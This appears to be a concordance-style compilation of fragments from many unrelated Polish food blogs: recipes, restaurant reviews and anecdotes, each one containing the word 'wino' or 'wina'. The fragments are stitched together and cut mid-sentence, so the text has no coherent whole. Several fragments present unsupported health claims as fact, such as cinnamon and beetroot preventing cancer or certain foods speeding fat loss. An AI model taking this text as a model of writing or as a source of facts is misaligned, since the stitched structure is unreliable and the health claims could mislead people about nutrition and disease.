kiełbas 2 cebule (u mnie 1 biała i 1 czerwona) 2 jabłka 3 liski laurowe 3 ziela angielskie 3 goździki 50 g suszonej żurawiny 100 ml cydru lub białego wina 1 łyżeczka klarowanego masła * PRZYGOTOWANIE Na patelni rozgrzej masło i przysmaż białą kiełbasę, aż się ładnie zarumieni. Następnie wrzuć pokrojone w piórka cebule i przyprawy: listki laurowe, ziele angielskie

czubata łyżeczka marynowanego zielonego pieprzu 1 cebula szalotka 1 średni ząbek czosnku 1 czubata łyżka posiekanej natki pietruszki 6 łyżek dobrej oliwy z oliwek 1 łyżka octu z czerwonego wina 1 łyżka soku z cytryny 1 czubata łyżeczka miodu 1 łyżeczka suszonej bazylii 1 łyżeczka suszonego oregano sól pieprz Zapisz Zapisz

Kiedy przychodzi już ten wieczór, że możesz spokojnie posiedzieć, napić się lampki wina i mieć chwilę dla siebie, Ty wolisz iść spać razem z kurami. Jednym słowem - macierzyństwo ;) Jeszcze jedna propozycja na jajka faszerowane, tym razem dla smakoszy ryb, bowiem nadziałam je szprotkami. Kto lubi takie połączenia, niech spróbuje a kto nie lubi... niech również się skusi, może

zewnątrz. Na śledzie wykładamy musztardę Dijon, czubatą łyżeczkę albo dwie łyżki, w zależności od tego w jak dużej salaterce składacie sałatkę – odpowiednio słoną i kwaśną, robioną na białym winie (nieodmiennie polecam musztardę Maille). Musztardę dokładnie rozsmarowujemy po śledziach. Pieprzymy. Pokrywamy warstwę musztardy posiekaną cebulą. Na tą warstwę ścieramy ¼ ziemniaków i lekko przyklepujemy.   Na ziemniaki wysypujemy kiszone ogórki

mieliśmy gości. Kuzyn C. przyjechał do nas z dziewczyną. Na początku planowaliśmy wspólny lunch; skończyło się na lunchu, obiedzie i deserze w dwóch odsłonach. W międzyczasie opróżniliśmy dwie butelki wina i rozmawialiśmy, rozmawialiśmy i rozmawialiśmy... I chociaż nie jestem zbyt towarzyska, a ludzi z zasady nie bardzo lubię, to muszę przyznać, że spędziłam niesamowicie przyjemny dzień. Normalnie odmłodniałam

bardzo aromatyczna. Polecam na spotkania z przyjaciółmi czy na pyszny obiad całej rodzinki a jak jeszcze zostanie pokrójcie w plastry i będzie znakomity do kanapek. Schab duszony w winie z jabłkami. ROZWIŃ I CZYTAJ DALEJ

fiołkowy do sałatek jaśmin – uwielbiam herbatę jaśminową lawenda – zobacz przepis na ciasteczka z cukrem lawendowym , lemoniadę o smaku lawendy i ocet do sałatek. mniszek – można z niego zrobić wino mniszkowe ogórecznik – pięknie dekoruje nasze sałatki i dania róża – woda różana nadaje wyjątkowego smaku deserom a konfitura to najlepszy dodatek do pączków rumianek – moja ulubiona herbatka Dekorowanie dań kwiatami

pracuje - majonez będzie miał bledszą barwę i będzie bardziej płynny. Polecam przepis na domowy majonez ! SKŁADNIKI : na około 300ml 2 żółtka ze świeżych jajek 1 łyżeczka octu z białego wina 1/2 łyżeczki soli morskiej świeżo mielony biały lub czarny pieprz do smaku 1 łyżeczka angielskiej musztardy w proszku 300ml oleju arachidowego lub lekkiej oliwy z oliwek (nie extra virgin

Dzisiaj polecam domową nalewkę cynamonową. Za ojca nalewek uznaje się słynnego greckiego lekarza Hipokratesa. Stworzył on napój z wina, miodu i przypraw korzennych. W XIII wieku odkryto, iż alkohol wzmacnia lecznicze działanie ziół, dlatego chorym jako lekarstwo przepisywano nalewki. Do Polski moda na nalewki przywędrowała wraz z królem Henrykiem Walezym. Wówczas zaczęto produkować znany do dzisiaj krupnik

ilość cynamonu obniża łaknienie na słodyczce. Cynamon zawiera błonnik, żelazo, wapń, zapobiega nowotworom i chorobom układu krwionośnego. Cynamonem możemy doprawiać różne potrawy: mięsa, warzywa, ryby, ciasta, desery, koktajle, grzane wino lub piwo. Można go wykorzystywać w marynatach, dodawać do kawy. Użycie małej ilości cynamonu do przyprawienia ryb sprawia, iż znika ich nieprzyjemny zapach. U Nas dzisiaj ucierana babka cynamonowa

ozdobna. Owoce pigwy dojrzewają późną jesienią. Kształtem przypominają gruszki, są żółte, bardzo twarde i cierpkie w smaku. Nie nadają się do bezpośredniej konsumpcji, ale są idealne na przetwory, nalewki, wina, soki. Pigwa powinna znaleźć się w Naszym menu w okresie jesiennych i zimowych przeziębień, jest źródłem witaminy C, która wspiera Naszą odporność. Ponadto zawiera kwasy organiczne, garbniki, pektyny

robimy to niepoprawnie. Jedliśmy, piliśmy, śmialiśmy się, a do tego wzięliśmy jeszcze pełno jedzenia "na spróbowanie" dla najbliższych. Co najważniejsze, przekonałam się do ryb. Pstrąg wyszedł obłędny. Do wina i risotta nie trzeba było mnie przekonywać, bo te ubóstwiam. Sami zobaczcie nasze menu i smakowite fotografie z warsztatów: Staropolski krem z raków z kwaśną śmietaną Mule duszone w mleku

pieczarek, które miały być do pizzy, ale pizzy nie było, a groszek już od dawna czekał w zamrażarce. Przepis tu właściwie jest zbędny, bo to jak z bigosem na winie... ;)  Można tu wrzucić wiele innych składników (podsmażony boczek, kurczaka, fasolkę szparagową, paprykę, fasolkę czerwoną... ).   Składniki: 200 g kaszy gryczanej (palonej lub niepalonej)  10-12 szt. średnich

arkuszy ciasta filo Przygotowanie roladek z ciasta filo : Rozpuść masło i wymieszaj z oliwą. Odstaw do przestygnięcia. Rodzynki i suszone figi lub daktyle namocz przez 20 minut w winie lub gorącej wodzie. Następnie odsącz i posiekaj.  W misce wymieszaj posiekane suszone owoce, liście mięty, orzechy, ser, szczyptę soli oraz roztrzepane jajko. Jeżeli używasz mrożonego ciasta filo, rozmróź

się okazało świetnym rozwiązaniem. Danie nie straciło na delikatności i miało przy tym swój twist, a żeby nie rozleniwić podniebienia, dodałam orzeźwiającą i ostrą rukolę i białe, wytrawne wino. Wykonanie Obierz, umyj i zetrzyj na tarce z dużymi oczkami marchew. Zagotuj 500 ml wody z płaską łyżeczką soli w średniej wielkości garnku. Dodaj sok wyciśnięty z pomarańczy. Dodaj

Dziś walentynki...  Wszystkim zakochanym i tym czekającym na wielką miłość, przesyłam czekoladowo- cynamonowe serce. Dużo mlecznej czekolady i aromatyczny cynamon.... jeszcze lampka wina i nastrojowa muzyka :) Cudownych Walentynek Wam życzę. Dla spóźnialskich szybki przepis.  Będzie wam potrzebna silikonowa forma w kształcie serca, dobra czekolada i aromatyczne przyprawy korzenne. 450 g dobrej mlecznej czekolady. 50 g białej czekolady

robię risotto. Na patelni rozgrzewam oliwę z oliwek i łyżkę masła. Dodaję posiekaną bardzo drobno szalotkę i czosnek. Po chwili dodaję ryż. Całość smażę przez kilka chwil i wlewam wino. Płyn redukuję o połowę i porcjami (po 100 ml) wlewam bulion, Kiedy ryż wchłonie jedną porcję wówczas dolewam kolejną. Postępuję tak do momentu aż ryż wchłonie cały bulion

Jajka faszerowane kojarzą mi się praktycznie wyłącznie z Wielkanocą. Nie to, żeby nie były dobre, ale jakoś tak się dzieje, że na naszym stole goszczą dość rzadko. Może to wina męża, który za najlepsze jajka na świecie uważa te z majonezem;) Może właśnie pora zmienić jego przyzwyczajenia. Jajka faszerowane to pomysł na podanie jajek ale w nieco innej formie

Brownies bez mąki i z niewielkim tylko dodatkiem cukru. Ciasto jest niskie i generalnie niewielkie (przyznaję, że robiłam je dla dwóch osób celem osłodzenia wieczoru - wiecie, film, lampka czerwonego wina i czekolada to dobre połączenie ;)), więc w razie większego zapotrzebowania można podwoić porcję. Składniki * 100 g gorzkiej czekolady 100 g masła 2 jajka 4 łyżki cukru 2 czubate łyżki

ustach, jest bardzo delikatna i krucha. Po wyjęciu z piekarnika od razu czuć piękny zapach rybki i sosu, mi niestety nie posmakował ten sos, który jest na bazie czerwonego wina. Natomiast mężuś jest zachwycony rybką i z wielką chęcią ją zjadł. Wielkim minusem jest to, że się rozwala po "upieczeniu" i wyjęciu z opakowania. Czy bym kupiła ją ponownie

robimy je na obiad. Danie szybkie, łatwe, a przede wszystkim bardzo smaczne. Nie trzeba wymyślać składników, wystarczy dać to co mamy w lodówce. Zawsze mówimy, że to zapiekanka "na winie", czyli.. to co się nawinie to do zapiekanki.  Składniki: makaron kokardki Lubella pierś z kurczaka po jednej papryce: czerwona, żółta i zielona 10 pieczarek 1 cebula mozzarella

chcemy zjeść -szynka, mięso z rosołu - ja lubię i jem, lecz mój facet już niestety nie. Jednak danie jako całość bardzo smakuje, pomimo braku grzybów, śliwek czy wina. U mnie w domu nigdy nie dodawano takich rzeczy do bigosu, więc ja też nie dodaję. Może kiedyś spróbuję urozmaicić w ten sposób. Składniki: Pół główki białej małej kapusty

ząbki czosnku 1 listek laurowy 1 litr wody (można użyć więcej lub mniej, zależnie od gustu) sól, pieprz i sporo suszonego oregano do smaku 2 łyżki octu z czerwonego wina Przygotowanie: W dużym garnku, w którym będziesz gotować zupę, rozgrzej oliwę i przesmaż na niej cebulę i czosnek. Nie mają się zrumienić, tylko zmięknąć. Dodaj pokrojoną marchewkę i listek

portulakę wykładamy na talerze, dodajemy plastry sera, cebulę pokrojoną w półplasterki i ćwiartki wędzonych śliwek. Posypujemy pistacjami, czerwonym pieprzem i skrapiamy olejem lnianym. Do tego lampka czerwonego wytrawnego wina i ja już nic więcej nie potrzebuję

koszyczki z kremem tuńczykowym i pistacjami. Rewelacyjne włoskie antipasti. Sycylijska caponata z jabłkami. Primo piatto: Bavette Barilla con frutti di mare. Secondo piatto: Stek z polędwicy wołowej w czerwonym winie. Deser: babbamisu alla  zabaglione . * VIVERE Italiano || ul. Ofiar Oświęcimskich 21, Wrocław

Pizza bardzo wytrawna, idealna do czerwonego wina. Połączenie anchois z oliwkami z czosnkiem i pikantnymi papryczkami wraz z kozim serem tworzą wyjątkowy zachęcający smak. Wyśmienity pomysł na weekendowe biesiadowanie z najbliższymi. Składniki na ciasto (na dwie pizze o średnicy 32 cm): 500 g mąki pszennej 250 ml ciepłej wody 8 g drożdży instant (suchych) pół łyżeczki soli pół łyżeczki

szykowanych ryb i węgla drzewnego sunie między wąskimi uliczkami. Grillowane, osypane morską solą sardynki podaje się z pajdą chleba, słodkimi ziemniakami, grillowaną papryką… Wśród tapas – przekąsek do piwa, wina i sangrii – królują błyszczące sardynki wyłowione z pięknie zaprojektowanych, utrzymanych w stylistyce retro puszek – w całości, albo w formie pasty.   Udało mi się dopaść portugalskie sardynki – puszka ogromna

się na porach roku, ale na znacznie krótszych odcinkach czasowych, w których podawane są całkiem odmienne i wyjątkowe potrawy. Do „momentów” podawane są specjalnie wyselekcjonowane trunki – nie tylko wyśmienite wina, ale też polskie wódki czy miody pitne.  A jeśli zdecydujemy się skosztować kuchni włoskiej? Najlepiej wybrać się do Mąki i Wody . Przyjęło się, że jest to jedna

większą ilość bo gwarantuję, że będziecie ją zużywać nie tylko do ryby :) Domowa musztarda (porcja na 2 niewielkie słoiczki): 3 opakowania gorczycy białej Galeo 8 łyżek octu z białego wina 6 łyżek wody (przegotowanej) na następny dzień: ok. 3 łyżki wody szczypta soli łyżeczka papryki ostrej Galeo łyżka cukru trzcinowego Gorczycę zalewamy octem i wodą i odstawiamy

dzisiejsze zakończenie dnia polecam sałatkę z suszoną wołowiną, która z pewnością zaskoczy smakiem nie tylko Ciebie. Taka sałatka sprawdzi się również na romantycznej kolacji ze świecami i butelką czerwonego wina. Koniecznie wypróbujcie przepis  i dajcie znać jak smakowała :)  Składniki:  150 g świeżej rukoli  1 średnia cukinia kilka krolpli oliwy 1 świeże dojrzałe mango

czułam się swobodnie – jak wiecie, nie lubię miejsc „z zadęciem”. Obsługująca mnie kelnerka, sprawiała wrażenie bardzo ciepłej i miłej osoby, poleciła nam dania z karty oraz wino, które warto wybrać. Zdecydowaliśmy się na poniższe dania: OCTOPUS ARROSTO NUOVO – 29zł ośmiornica/ spianata/ avocado/ limonka/ mięta ZUPPA DI AGLIO – 21zł czosnek/ pikantne salami/ pieczona papryka/ jajko

Zapraszam ! Gryczotto z grzybami Czas przygotowania: 30 minut + czas moczenia Składniki: 100 g kaszy gryczanej 25 g suszonych grzybów 200 g pieczarek 2 cebule 200 ml białego wytrawnego wina ok. 200 ml płynu ( woda z grzybów i bulion) 2 łyżki posiekanej natki sól pieprz olej do smażenia 1,5 łyżeczki masła Wykonanie: Grzyby wkładamy do garnuszka, zalewamy zimną

odżywiana i różnego rodzaju diet. Wspólnie ugotowałyśmy: pastę z groszku z prażonym słonecznikiem, chili i kolendrą krem z białej rzodkiewki z oliwą truflową i suszonymi pomidorami krewetki duszone na winie z dodatkiem pietruszki z ryżem cytrynowo-miętowym sorbet z mango z ciepłą śmietanką kokosową i orzechami Fot. Lidl Fot. Lidl To było bardzo sympatyczne i smaczne spotkanie. Miło było

dobrze, że są patelnie grillowe-wiem, to nie to samo...ale zawsze jakieś wyjście:) SKŁADNIKI: 6 plastrów ładnej karkówki Marynata: 200-250 ml oliwy 100 ml czerwonego, wytrawnego wina 1/2 niewielkiej cebuli 2-3 małe ząbki czosnku 1 łyżeczka przyprawy do karkówki 1/2 łyżeczki przyprawy do steków Sól Pieprz 1/2 łyżeczki ostrej papryki 1/2 łyżeczki słodkiej papryki 1/2 łyżeczki

mnie. Przejdźmy do rekompensaty w postaci wyczekiwanego przepisu!  Nie ma lepszego połączenia smaków niż ser pleśniowy w towarzystwie gruszki i podbijających smak orzechów włoskich! Do tego lampka wina i kolacja dla dwojga przerodzi się w ucztę dla podniebienia. Wypróbujcie sami, a gwarantuję, że zakochacie się w tym daniu.  Składniki na porcję: -50g makaronu (u mnie tagiatelle

Przekąska idealna do wina i nie tylko.... Szybka i łatwa w przygotowaniu. Ma tylko jedną wadę, trzeba na nią chwilę poczekać i czasu oczekiwania nie da się skrócić. 1 gruszka, 50 g sera z niebieską pleśnią, kilka orzechów włoskich, sos: 3 kostki gorzkiej czekolady, 1 kostka mlecznej czekolady, 30-50 ml mleka Gruszkę przekroić wzdłuż na pół, wyjąć gniazda

mogliśmy zasiąść do kolacji, o której wspominałam na samym początku.  Było pysznie, gwarnie i sympatycznie. Kolacja w iście włoskim stylu, dużo rozmów, dużo tematów, dużo dobrego jedzenia i wina! A na mojej liście TOP króluje ten deser!  Brawo Szef! P Y C H A !  Ogromnie się cieszę, że mogłam dołączyć do KLUBU KOLACYJNEGO BARILLA

blaty. Pierwszy z blatów wkładamy do foremki i nasączamy ponczem z wody i cytryny. Jeśli ciasta nie będą jadły dzieci dodatkowo można dodać alkohol – nalewkę lub białe wino. Zdecydowanie nie polecam już jednak dosładzać ponczu – biszkopty są dosyć słodkie. Na pierwszy blat wykładamy ok. połowę kremu i rozprowadzamy. Posypujemy pokrojonymi na kawałki truskawkami. Przykrywamy drugim blatem, nasączamy

Kolejny tydzień i kolejny błyskawiczny piątek. Tym razem szybka przekąska. Uwielbiam przygotować sobie takie kosteczki, podawać je z sosem i oglądać swój ulubiony serial z lampką wina. Składniki : * 200g sera mozzarella  * jajko * bułka tarta  * mąka pszenna  * olej do smażenia Przygotowanie : Ser pokroić w kostkę. Panierować w jajku, mące, jeszcze raz w jajku i bułce tartej. Smażyć

składniki mineralne takie jak molibden , mangan , miedź i kobalt oraz witaminy: C , B2 , B6 , E , PP i karotenoidy . Sposób wykorzystania Owoce aronii można wykorzystać do przygotowania soku, syropu, nalewki, wina czy dżemu, można je również wysuszyć aby później zastosować je w postaci herbaty czy odwaru. Działanie i zastosowanie Owoce aronii wykazują właściwości zmniejszające ryzyko powstawania chorób układu sercowo

czytelników ciekawymi pomysłami na szpinak i kaszę jaglaną, wielkanocnymi wypiekami i daniami dla dzieci. Razem wyruszymy w kulinarną podróż dookoła świata z jajkiem i nauczymy się dobierać kieliszki do wina. Zapraszam do czytania! (klik w zdjęcie

zdjęciu): 1. Pasta z zielonego groszku i awokado z prażonym słonecznikiem, chili i kolendrą 2. Krem z białej rzodkiewki z oliwą truflową i suszonymi pomidorami 3. Krewetki duszone na winie z dodatkiem pietruszki z ryżem cytrynowo- miętowym 4. Sorbet z mango z ciepłą śmietanką kokosową To zaczynamy! Wraz z dziewczynami porozumiałyśmy się w kilka chwil i rozpoczęłyśmy wspólne gotowanie

masą serową bądź makową. Wyjdą fajne kruche francuskie drożdżówki, np. z serem albo makiem. Po zwinięciu i upieczeniu na pewno będą prezentowały się godnie na stole. Do tego może wino? likier? może ulubiona herbata i jest miło. Opcjonalnie w różnych wersjach możecie je (już ułożone na papierze do pieczenia) posmarować roztrzepanym jajkiem i czymś posypać, np. kruszonką, makiem, sezamem

wykonywania: Biszkopt z tylu jajek w tak małej blaszce powinien być wysoki i dać się przekroić na 3 blaty, a wyszedł za niski, musiałam dopiec jeszcze jeden cienki (moja wina - wiem, że w moim piekarniku biszkopty nie wychodzą, a nie chciało mi się pójść z tą blaszką do Mamy) Mikser trzasnął w trakcie ubijania śmietany, zawył i w środku

Nałóż na talerze, posyp tartym parmezanem i bazylią (nie koniecznie). ·         To jest pyszne! Zwłaszcza z lampką czerwonego wina. I jakie proste. Smacznego!   Autor: Córka

których zadaniem jest niszczenie wolnych rodników, uszkadzających nasze komórki przez degradacje nici DNA i powodujących  tzw. starzenie się organizmu. Jest ich w nim dużo więcej niż w czerwonym winie, czy w zielonej herbacie! Najwięcej przeciwutleniaczy znajdziemy w 100% soku z granatu. Najlepiej, gdy wyciśnięty jest ze świeżych owoców pochodzących z upraw ekologicznych. Antyoksydanty, czyli wspomniane wyżej przeciwutleniacze, spowalniają

też znakomity pomocnik, którego zdolność dekorowania pierniczków jest niezaprzeczalna. A  ten zapach, który unosi się w kuchni w trakcie pieczenia, cynamon, miód… mmm… no i oczywiście zapach grzanego wina z pomarańczami i goździkami, które tak bardzo smakuje w zimie (tego ostatniego nie polecam oczywiście dzieciom :)). Jeżeli mamy małe dzieci, to pieczenie pierniczków i czas wspólnie spędzony

piernika (ważne, żeby były to przyprawy bez mąki i cukru, albo przygotowane własnoręcznie). Całość odkładam do ostudzenia. W tym czasie zazwyczaj mój pomocnik, przygotowuje  swoje popisowe grzane wino z mnóstwem owoców i aromatycznych przypraw. :) Następnie mieszam w misce 400 g mąki orkiszowej i 200 g mąki pszennej ( w tym roku stosowałam mąkę pszenną razową, która sprawiła, że nasze

chrzanowo-żurawinowy Składniki: 10 dag startego chrzanu 30 dag dżemu z czarnej porzeczki 30 dag żurawiny w słoiku 2 pomarańcze 1 cytryna 50-75 ml czerwonego, wytrawnego wina Przygotowanie: Pomarańcze oraz cytrynę myjemy i sparzamy wrzątkiem. Ścieramy skórkę z cytryny. Wyciskamy sok z cytrusów.  Miksujemy żurawinę, a następnie dodajemy wyciśnięty sok i pozostałe składniki

pospolicie występujące w Polsce warzywo to skarbnica prozdrowotnych właściwości. Wszystko to dzięki zawartym  w nim antocyjanom (tak, tak- to te same barwniki, które znajdziemy w czerwonym winie). Dzięki nim nasz organizm nabiera odporności, wolniej się starzeje i nabiera sił witalnych. Twierdzi się, że zawarte w burakach antocyjany zapobiegają rozwojowi nowotworów, obniżają ciśnienie krwi, działają przeciwwrzodowo (działając zasadotwórczo), niwelują

głąb jeziora. Jeżeli chodzi o kuchnię macedońską - znajdziemy wiele "zapożyczeń" bałkańskich (np. musaka, gołąbki w liściach winogron), tutejsze ryby (traut, belvica), mięsa wszystkich rodzajów. Do picia polecam pyszne wino Dalvina, piwa Skopsko i Zlaten Dab, no i oczywiście ręcznie robioną rakiję Dragana :). Kuchnia wydawać by się mogła tłusta, jednak Macedończycy dopasują się bezproblemowo do naszych gust

rzeczy niemożliwych, ale ów lokal musiałby mieścić się na jakimś totalnym bezludziu, mieć słabą reklamę, albo złą opinię. Na ostro, na słodko, na słono, przy świecach, z butelką wina, której zawartość opróżniana przez schludnie ubranego kelnera ląduje miarodajnie na dnie dwóch kieliszków. Siedzący naprzeciw siebie ludzie, trzymający się za ręce, zapatrzeni w siebie. W tle klimatyczna muzyka, w powietrzu

Camembert z orzechami brzmi wykwintnie, prawda? Spożywający przenosi się do Francji, widzi siebie pędzącego kabrioletem wśród lawendowych pól Prowansji, pijącego wino, bla bla bla. Dla internetów camembert z orzechami to plebejstwo, bezguście i tragedia. Dzisiejszy odcinek sponsoruje kij w dupie i dorabianie historii do prostego jedzenia. Ok, camembert to nie ser biały i nie robi go się w kilkanaście

plaskate. Wieżyczka będzie przypominała tą w Pizie. Musy wypłyną z foremek. Albo, co gorsza, zrobią się w nich grudki. Beza się nie ubije... Oj, mogłabym tak długo. Ale - moja wina ; trzeba było wybrać coś prostszego i pewniejszego. Tylko co ja poradzę na to, że z takimi rzeczami mi nie po drodze...? Tymczasem, skoro weekend się już zaczął

też inne przepisy na wypieki „tłustoczwartkowe” znajdujace się na blogu : Pączki z ziemniakami nadziewane marmoladą Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki hiszpańskie Pączki z budyniem Chrusty na winie Oponki z twarogu Churros z masą migdałową Pączki z serka mascarpone Pątysie Sycylijskie cannoli z ricottą Faworki robione mikserem Pudrowane poduszeczki Wydrukuj przepis The post Lukrowane pączki z ziemniakami

metabolizmu lipidów i zwiększenie termogenezy. W szczególności zalicza się do nich polifenole zawarte w niektórych warzywach i owocach np. czerwonych winogronach, flawonoidy (zawarte w np. papryce, brokułach, pomidorach, czerwonym winie) , owoce cytrusowe, wyciągi z zielonej herbaty, kapsaicynę oraz kurkuminę. Dlatego zachęcam osoby które chcą wspomóc się naturalnie w zrzucaniu zbędnego tłuszczu do przygotowania tego oto smoothie:-) Składniki: garść truskawek

wyciągnąć, by sprawdzić,  zastałam pojemnik do połowy "wyjedzony" ,a sok wypity. Z salonu dobiegało niemiłosiernie głośne chrapanie teścia ululanego macedonią. Trochę przegiął wtedy , szczególnie jeśli wychowany na winie ,a wódki nie pijący nigdy. Zresztą nikt mu nie kazał wypijać całego sosu z sałatki! Obiad zjedliśmy bez niego. Składniki owoce tropikalne Hortex  (opakowanie jest 450 g) sok jabłko

krewetki koktajlowe, rozejrzałam się po szafkach, jakie akurat skrywają zapasy i stworzyłam niebanalną i szybką wersję spaghetti, która znakomicie nada się na romantyczną kolację we dwoje do kieliszka białego wina. Zapewniam Was, że lepiej smakuje aniżeli wygląda :) Składniki na 2 porcje: 200g krewetek koktajlowych (rozmrozić) 150g makaronu spaghetti (możecie także użyć pełnoziarnistego) 2 ząbki czosnku 8 pomidorków koktajlowych 100g

gęś pieczoną w całości jak i dania robione tylko z poszczególnych części. Jednym z tych, które wyjątkowo przypadło mi do gustu jest pierś pieczona (a w zasadzie gotowana) w winie z nutą malin. Delikatne soczyste mięso w połączeniu z bardzo chrupiącą skórką smakuje wybornie. Do tego dodajmy puree i pieczoną gruszkę i mamy danie na wyjątkowe okazje ;) Uwaga: mięso

zjeść, Jeśli jest to niemożliwe to absolutnym minimum jest po jednym daniu z każdej kategorii – przystawkę, przekąskę ciepłą, zupę, danie główne i deser. No i oczywiście ze 2 wina i herbatę, żeby zobaczyć, czym się poi gości. Dobrze by też było dowiedzieć się, kim są właściciele. Bez tego nie ma co się wypowiadać. Jak się domyślacie rzadko spełniam

Zima kojarzy mi się nie tylko ze śniegiem, który czasem pojawia się i znika. Z zapachem grzanego wina (z dodatkiem pomarańczy, imbiru, anyżu, goździków, suszonych owoców....;), treściwymi gorącymi zupami, także z serami. To czas, w którym dobre "tłustsze" i treściwe dania pomagają nam "przetrwać" zimowy klimat - szczególnie tym, którzy ganiają po mieście tu i tam. Dziś przekąska

się pięknem dania i bogactwem przenikających się smaków. Deser był dla nas niesamowity. Pierwszy raz jedliśmy zabajone z tytoniem, szaleństwo. Na dodatek w środku były dwie żelki z białego wina...  Powiem tak... Jeśli kochasz jedzenie, gotowanie i jest to dla Ciebie coś inspirującego to musisz to zobaczyć na własne oczy. To restauracja, która dołączy do Twojej listy miejsc

ciasto możemy zrobić dużo wcześniej i pozostawić je na kilka godzin do wyrastania w lodówce. Później wystarczy lekko wyrobić, uformować, nałożyć składniki i pilnować pieczenia 😜 Do tego lampka wina i możemy świętować! Składniki na jedną, dużą pizzę w kształcie serca:   Ciasto: 250g mąki + do podsypywania 140ml wody przegotowanej, letniej 10g drożdży świeżych szczypta soli 1 łyżeczka cukru

Białka (ze szczyptą soli) ubić na sztywno i delikatnie połączyć z żółtkami. Do masy powoli wlać ostudzoną żelatynę i dokładnie rozmieszać. Galaretkowe serduszka przykleić do wewnętrznej ścianki kieliszków do wina. Kieliszki powoli napełnić deserem i odstawić do lodówki, aby całkowicie stężał. (Szpajzę można także udekorować samymi serduszkami i podać w pucharkach - obie wersje na zdjęciach.)  (*) U mnie był

Moja propozycja przygotowania stołu to filcowa czerwona podkładka, na niej talerze z serwetką w kształcie serca, a obok nich sztućce, do tego szklanki na dowolne napoje oraz kieliszki do wina. Kwiaty na stole mile widziane, będą pięknym uzupełnieniem dekoracji. Do tego lekko przygaszone oświetlenie, świeczki i romantyczna muzyka. Zachęcam by takie wieczory urządzać nie tylko w Walentynki! Normal

filetów anchois w oleju, 1 suszona papryczka chilli, pokruszona, sól, czarny pieprz, oliwa, 16 rurek cannelloni Sos czerwony: 700 ml passata (sosu pomidorowego), 1 łyżka octu z czerwonego wina, Sos biały: 500 ml śmietany kremówki, 150g parmezanu, drobno startego, kilka listków bazylii, 200g sera mozzarella, oliwa z pierwszego tłoczenia, sól, pieprz. Przygotowanie: Piekarnik nagrzać do 190 st. W dużym

śliwką, wiśnią, jagodami, zielone z aloesem... Rewolucja polskiego piwa Te piwa są tak niesamowicie charakterne i pyszne, że obecnie zostawiamy w piwnym sklepie więcej pieniędzy niż wydawaliśmy na wino. Brzuszek oczywiście od tego rośnie, ale rośnie też serce. Polskie piwa są absolutnym przebojem smakowym i jakościowym. Dla mnie największym odkryciem są gorzkie ALE i IPA (Indian Pale ALE). Pachną

jest reklama sponsorowana, to potrzeba podzielenia sie z Wami informacją, że istnieje tak pyszne piwo :) Ogólnie wolę wina niż piwa, ale latem miło jest sie napić chłodnego piwka w dobrym towarzystwie. Przez przypadek kupiłam piwo "Ju-Rajska pomarańcza" browaru Browar na Jurze , przyciągnęła mnie etykieta, która sie wyróżniała, zaciekawił opis i wzięłam. Piwo urzeka aromatem i uzależnia, pierwszy

szczoteczką.  Inne zastosowania sody oczyszczonej. Soda doskonale radzi dobie jako zamiennik odplamiacza. Za pomocą pasty sody z odrobiną wody możemy wyprać plamy z potu, smoły, krwi, soków oraz wina. Wystarczy w plamę wetrzeć odrobinę pasty z sody. Usuwanie brzydkich zapachów z obuwia - wsypać sodę do buta na noc i pozostawić. Rano wysypać sodę. Odtykanie rur kanalizacyjnych. Do odpływu

roboty i trochę sosu waniliowego mamy - pyszna rozpusta! Tradycyjnie wypieka się je w okresie świątecznym i serwuje z dżemem z czerwonych owoców, przeważnie malin, obok gløgga - skandynawskiego grzanego wina. W przepisie, z którego korzystałam (Wszystkie smaki Skandynawii, Claus Meyer) pączki zawierały znikomą ilość tłuszczu i cukru, dlatego też z pewnością będą świetną alternatywą w Tłusty Czwartek dla osób

wybrzuszeń. Moździerz będzie niezbędny do rozcierania, rozdrabiania przypraw i ziół. To gadżet, który dodatkowo może służyć za piękną ozdobę. Prezent dla osób, które nie wyobrażają sobie kolacji bez lampki wina. Na taki gadżet znajdzie się miejsce w każdym domu. Do stojaka załączony jest korkociąg. Patelnia grillowa pozwoli szybko przygotować grzanki, steka, ugrillować kurczaka czy warzywa. To dobra i zdrowa

porcje) Składniki na sos: 1 szklanka wody 2 łyżki mąki kukurydzianej 1 łyżeczka cukru 1 łyżeczka oleju sezamowego ½ łyżeczki soli 3 łyżki jasnego sosu sojowego 1 łyżka białego wytrawnego wina ⅛ łyżeczki przyprawy pięciu smaków ⅛ łyżeczki łyżeczki mielonego pieprzu Reszta składników: 1 duży brokuł, podzielony na różyczki 2-3 łyżki odsączonych pędów bambusa z puszki 2 łyżki oleju roślinnego

czasu wypłynięcia na wierzch. Ugotowane wyciągać łyżką cedzakową i układać na półmisku. U mnie kluseczki tym razem podane były z piersią kaczki w sosie z czerwonego wina

życiu. Był pełen owoców i podawany na ciepło – idealna sprawa w taki mróz jak dziś. Chyba zacznę robić sobie kompoty na ciepło. Restauracja jest przestronnie urządzona, z butelkami wina jako praktyczną dekoracją, ze świecami zapalonymi nawet w ciągu dnia, mini szklarniami z mchem i kryształowymi żyrandolami. Obsługa bardzo się stara, więc szybki lunch podawany jest naprawdę szybko. Idealne

mocne strony. A zatem od początku! Na przystawki Korba proponuje talerz przekąsek z lokalnymi serami, wyborem fajnych warzyw, wędlin, czy past do pieczywa. To zdecydowanie świetny wybór do lampki wina. Kolejną propozycją są grzanki, które uważam za najsłabszy punkt programu. No cóż grzanka jak to grzanka, może trudno oczekiwać fajerwerków, ale wg mnie brakuje w nich kropki

Pyszna drożdżowa chałka z masą makową..chałka rosła jak szalona..i wyszła chała, w sumie to moja wina, bo zrobiłam jedną chałkę zamiast dwóch. 600 g mąki pszennej  20 g świeżych drożdży (lub 1 łyżeczka suszonych instant) 40 g cukru 50 g masła 1 jajko 240 ml mleka[ dałam ciut więcej] 1 łyżeczka esencji waniliowej masa makowa Zrobić

ząbek czosnku oliwa świeżo mielony pieprz Sos Mojo Verde Canario Składniki: 4 ząbki czosnku ½ pęczka kolendry 1 łyżka naturalnie warzonego sosu sojowego Kikkoman 1 łyżka octu z białego wina 100 ml oliwy ½ łyżeczki mielonego kminku Przygotowanie: Filety rybne oczyść z łusek i ości, pokrój na 4 cm kawałki, skrop sosem sojowym Kikkoman Less Salt i sokiem z cytryny, odstaw

Walentynki zbliżają się wielkimi krokami, więc mam dla Was przepis na romantyczną i szybką kolację przy kieliszku dobrego wina. Oczywiście możecie taki posiłek przygotować sobie kiedy tylko zechcecie, jednak takie połączenie na pewno Was rozgrzeje :)  Ostatnio z moją połówką urządziliśmy sobie przedwstępne Walentynki kulinarne, a 14 lutego również coś zaplanowaliśmy kulinarnego, jednak już nie ja będę gotowała

